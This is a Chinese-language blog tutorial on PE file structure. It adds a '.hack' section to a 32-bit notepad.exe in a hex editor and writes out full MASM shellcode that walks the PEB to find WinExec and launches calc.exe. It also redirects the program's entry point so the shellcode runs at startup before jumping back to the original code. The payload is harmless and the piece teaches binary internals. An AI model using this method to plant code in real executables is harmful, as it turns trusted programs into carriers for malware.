修改記事本PE結構彈計算器Shellcode

HackLee發表於2021-11-07

修改記事本PE結構彈計算器Shellcode

0x00 前言

在上一篇文章中介紹了PE節表的分析,這篇文章主要是對其進行手動實驗來加深對節表的理解,並且這裡用一個記事本的例子做演示,我們用Winhex軟體通過修改、新增十六進位制資料讓記事本一啟動就能彈出計算器。

整體的思路是:給記事本新增一個節,節內新增彈計算器Shellcode十六進位制+jmp到原OEP(程式入口點),修改OEP指向->新區段位置。執行記事本讓其彈計算器。

0x01 新增新節

首先需要找一個32位的記事本,我這裡用的是xp系統下的notepad.exe

修改節數量

第一步我們先修改節數量,之前都有介紹節數量在標準PE頭中的NT標識後4個位元組,這裡原本是3我們將其改成4。

image-20211106210310909

節表位置

節表位置在可選PE頭下面,所以我們先找到可選PE頭,並且找到可選PE頭的大小就能找到節表位置了。可選PE頭大小在NT標識開始0x14位元組位置。

image-20211106212625305

新增新節表資訊

新節資訊的位置應該在節表數量*3的位置即:節表開始處+(3 x 0x28=0x78處),一個節資訊固定大小0x28

然後我們將熒光筆中的資料覆蓋成我們新節的資訊。

image-20211106213612000

新節名就叫.hack把,hack節哈哈挺酷。然後節在記憶體中大小就設成0x1000,新節在記憶體中的位置為0x13000

這個0x13000即新節位置是根據:之前最後一個節(記憶體中節位置+對其後節大小)計算出來的,可以根據我們上篇文章寫的工具來進行分析。

0xb000+0x8000等於0x13000,所以這是新節位置。這裡一定不要算錯了要不然程式會崩潰。

image-20211106214432673

接著是檔案中節的大小即對其後節的大小0x1000剛好對其,所以也設定成0x1000。接著是新節在檔案中的位置,這裡同樣我們得到之前最後一個節在檔案中的偏移,然後再加上檔案中節大小就是其新節位置了。

(新節在檔案中的位置)0x8400+0x8000=0x10400,然後其餘還有4各成員資料預設都設定成0x00,最後一個比較關鍵之前也講過他是節的屬性,決定了改節是否可讀、寫、執行。

在這裡我們直接將他設定成程式碼段的屬性(包含可執行程式碼),(可讀),(可執行)0x60000020。這裡不懂的可以複習下PE節表的詳細分析

新節資訊
Name .hack
VirtualSize(記憶體中大小) 0x1000
VirtualAddress(記憶體中偏移) 0x13000
SizeOfRawData(檔案中大小) 0x1000
PointerToRawData(檔案中偏移) 0x10400
PointerToRelocations 0x00000000
PointerToLinenumbers 0x00000000
NumberOfRelocations 0x0000
NumberOfLinenumbers 0x0000
Characteristics(標誌節屬性) 0x60000020

最後在0x104000位置新增0x1000資料,也就是檔案末尾處我們新增0x1000個0的資料。

先用Winhex新建一個0x1000的檔案

image-20211106233005409

然後複製資料到notepad.exe檔案末尾處。

image-20211106232816583

image-20211106233119664

至此新節新增完畢,我們可以來新增shellcode了。

0x02 新增彈計算器Shellcode

好了到這裡我們可以來新增我們的Shellcode了,首先我們需要用匯編寫一個彈計算器的程式碼,然後將其轉換成十六進位制。

.386
.model flat,stdcall

; 程式碼區域
.code

main:
	push ebp
	mov ebp,esp
	sub esp,20h; 開闢棧空間
    ;獲取Kernel32基址
	assume fs:nothing
	mov eax,[fs:30h]; peb結構所在地址
	mov eax,[eax+0Ch]; Ldr
	mov eax,[eax+1Ch]; 指向ntdll
	mov eax,[eax]; 指向kernelbase
	mov eax,[eax]; 指向kernel32
	mov eax,[eax+08h]; BaseAddress
    ;遍歷kernel32匯出函式	
	;初始化棧空間用來儲存變數
	mov DWORD PTR[ebp-04h],0; 用來存放匯出函式“地址表”
	mov DWORD PTR[ebp-08h],0; 用來存放匯出函式“名稱表”
	mov DWORD PTR[ebp-0Ch],0; 用來存放匯出函式“序號表”
	
	; 解析PE結構獲取匯出表結構實際地址
	mov ebx,DWORD PTR[eax + 3Ch]   ; NT頭偏移地址
	lea ebx,DWORD PTR[ebx + eax]   ; NT頭VA
	mov ebx,DWORD PTR[ebx + 78h]   ; 匯出表結構VirtualAddress
	lea edx,DWORD PTR[ebx + eax]   ; 匯出表結構實際地址
	
	; 獲取匯出函式地址表VA
	mov ebx,DWORD PTR[edx + 1Ch]   ; AddressOfFunctions 偏移
	lea ebx,DWORD PTR[ebx + eax]   ; AddressOfFunctions 實際地址
	mov DWORD PTR[ebp - 04h],ebx   ; 儲存到區域性變數
	
	; 獲取匯出函式名稱表VA
	mov ebx,DWORD PTR[edx + 20h]   ; AddressOfNames 偏移
	lea ebx,DWORD PTR[ebx + eax]   ; AddressOfNames 實際地址
	mov DWORD PTR[ebp - 08h],ebx   ; 儲存到區域性變數
	
	; 獲取匯出函式序號表VA
	mov ebx,DWORD PTR[edx + 24h]   ; AddressOfNameOrdinals 偏移
	lea ebx,DWORD PTR[ebx + eax]   ; AddressOfNameOrdinals 實際地址
	mov DWORD PTR[ebp - 0Ch],ebx   ; 儲存到區域性變數
	
	; 開始遍歷三張表,找到目標函式地址
	mov edi,DWORD PTR[edx + 18h]   ; NumberOfNames迴圈次數
	xor ecx,ecx		       ; 清空ecx,作為迴圈計數
	mov esi,DWORD PTR[ebp - 08h]   ; 暫存匯出函式名稱表 實際地址	
_ExportName:
	mov ebx,DWORD PTR[esi + ecx * 4];函式名稱 偏移地址
	lea ebx,DWORD PTR[ebx + eax]; 獲取第n個匯出函式的名稱 實際地址

	; 判斷函式名稱  
	mov ebx,[ebx]
	cmp ebx,456E6957h;判斷是否WinE
	je _FindFunc

	;自增1,開始下一次遍歷
	inc ecx;
	jmp _ExportName
	
_FindFunc:
	;找到目標函式,獲取該函式地址VA
	mov ebx,DWORD PTR[ebp - 0Ch]    ; 序號表 實際地址
	xor edx,edx		        ; 注意序號表是2位元組陣列
	mov dx,WORD PTR[ebx + ecx * 2]  ; 獲取對應序號表中儲存的值
	mov ebx,DWORD PTR[ebp - 04h]    ; 地址表 實際地址
	mov ebx,DWORD PTR[ebx + edx * 4]; 地址表中,目標函式地址 偏移地址
	lea eax,DWORD PTR[ebx + eax]    ; 目標函式實際地址;
; 呼叫函式
	jmp _gotFunc
	g_str db "calc.exe"
	g_stop db 0
_gotFunc:	call $+5
	pop ebx;獲取eip
	sub ebx,0Eh
	push 5h
	push ebx
	call eax
	; 恢復函式棧幀
	mov esp,ebp
	pop ebp
	ret
end main

end 

用MASM套件中的ml將其編譯成可執行檔案,這裡我推薦用RadASM這工具來寫Windows彙編程式碼,他是一個專門用來寫彙編的IDE非常好用 YYDS!

image-20211106231405578

image-20211106231438247

然後我們用Winhex開啟這個編譯好的exe提取他程式碼段中的資料作為Shellcode。

image-20211106231708566

修改程式碼

然後我們需要將程式碼在改一改,比如在shellcode的最後一個地方C3這裡對應的彙編程式碼是ret這樣會讓程式返回到呼叫的地方,這裡我需要將其改成nop即:0x90。

0040101D| C3  ret
;C3改為如下90
0040101D| 90  nop

然後我們還要跳回到原來的入口點,這樣程式才能正常執行他原本的功能。

跳轉的程式碼是jmp,然後我們需要計算出當前位置距離OEP的位置,目前還不知道距離所以先寫jmp 0x0000000來代替即E9 00 00 00 00

我們先把Shellcode覆蓋到新節的位置,利用WinHex的寫入hex資料來覆蓋之前的0資料。

image-20211106233625885

image-20211106233921305

覆蓋後的shellcode。

image-20211106234014806

0x03 修改入口點

在最後我們需要修改入口點來使的notepad.exe一開始就先執行我們的shellcode程式碼,不知道怎麼改入口點的讀者可以看看我之前寫的文章PE頭詳細分析

原來的入口點地址為:0x0000739D

image-20211106234453447

修改為shellcode處的入口點:0x00010400

image-20211106234803152

計算跳轉OEP偏移

好了在最後我們需要把E9 00000000中的資料給填上,才能真正的完成。計算公式為:(原OEP)-((當前地址)+5)

先把游標停在E9處,然後Winhex中顯示地址為0x1049F,那麼我們可以把公式中的當前地址改成0x1049F,即(0x0000739D)-((0x1049F)+5)

image-20211106235304791

最後利用Python來計算下偏移,算出來是負數的因為他要往上跳,正常是應該為負數。

image-20211106235641549

然後用最終用計算器將其轉換成十六進位制,並且我們取他的4位元組就行。

image-20211106235729683

最後我們把地址給填上,收工完成。

image-20211106235841977

0x04 bug修復

哈哈哈哈果然沒有那麼幸運,我一執行時候發現程式報錯了。

image-20211107001901954

然後仔細研究後發現,SizeofImage這個值我沒有改,得把他改成新增節後的大小0x14000

還有就是入口點偏移沒算對,因為我發現新的段在記憶體中不在0x14000,而是在0x13000,應該是我們沒有把之前那個段填對其,導致我們新加的段被他對其,所以地址就變成了0x13000。

image-20211107002828445

這裡我計算出新的偏移:0xFFFF42F9

image-20211107003153292

image-20211107003255266

修復後winhex中的地址。

image-20211107003335233

最後把入口點也修復成:0x13000

image-20211107003418313

0x05 驗證結果

image-20211107003632827

image-20211107003742275

歡迎各位加群:

Pwn菜雞學習小分隊群聊二維碼

相關文章